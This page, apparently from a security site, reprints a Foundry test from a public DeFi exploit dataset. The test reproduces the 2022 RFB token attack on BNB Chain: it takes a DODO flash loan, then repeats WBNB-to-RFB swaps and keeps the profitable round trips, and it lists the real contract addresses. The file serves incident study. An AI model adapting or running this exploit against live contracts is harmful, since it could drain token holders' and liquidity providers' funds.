Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/RFB_exp.sol

Public reproduction file for dataset entry - RFB.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/RFB_exp.sol76 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1599991294947778560
9// @TX
10// https://bscscan.com/tx/0xcc8fdb3c6af8bb9dfd87e913b743a13bbf138a143c27e0f387037887d28e3c7a
12contract ContractTest is Test {
13 IERC20 RFB = IERC20(0x26f1457f067bF26881F311833391b52cA871a4b5);
14 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
15 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
16 Uni_Pair_V2 Pair = Uni_Pair_V2(0x03184AAA6Ad4F7BE876423D9967d1467220a544e);
17 address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
21 function setUp() public {
22 cheats.createSelectFork("bsc", 23_649_423);
23 }
25 function testExploit() public payable {
26 RFB.approve(address(Router), type(uint256).max);
27 WBNB.approve(address(Router), type(uint256).max);
28 payable(address(uint160(0))).transfer(address(this).balance);
29 DVM(dodo).flashLoan(20 * 1e18, 0, address(this), new bytes(1));
31 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
32 }
34 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
35 WBNB.withdraw(20 * 1e18);
36 for (uint256 i = 0; i < 50; i++) {
37 try this.check(20 * 1e18 - i) {}
38 catch {
39 continue;
40 }
41 }
42 WBNB.deposit{value: address(this).balance}();
43 WBNB.transfer(dodo, 20 * 1e18);
44 }
46 function check(
47 uint256 amount
48 ) public payable {
49 uint256 BNBBalance = address(this).balance;
50 BNBToRFB(amount);
51 RFBToBNB();
52 require(address(this).balance - BNBBalance > 0);
53 }
55 function BNBToRFB(
56 uint256 amount
57 ) public payable {
58 address[] memory path = new address[](2);
59 path[0] = address(WBNB);
60 path[1] = address(RFB);
61 Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
62 0, path, address(this), block.timestamp
63 );
64 }
66 function RFBToBNB() public payable {
67 address[] memory path = new address[](2);
68 path[0] = address(RFB);
69 path[1] = address(WBNB);
70 Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
71 RFB.balanceOf(address(this)), 0, path, address(this), block.timestamp
72 );
73 }
75 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “- RFB” (2022-12-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
RFB
Path
src/test/2022-12/RFB_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
34150470be9a0884d07ce0b46906e8f421088c01
Language
Solidity
Size
77 lines
Date
2022-12-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/RFB_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 34150470be9a0884d07ce0b46906e8f421088c01, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.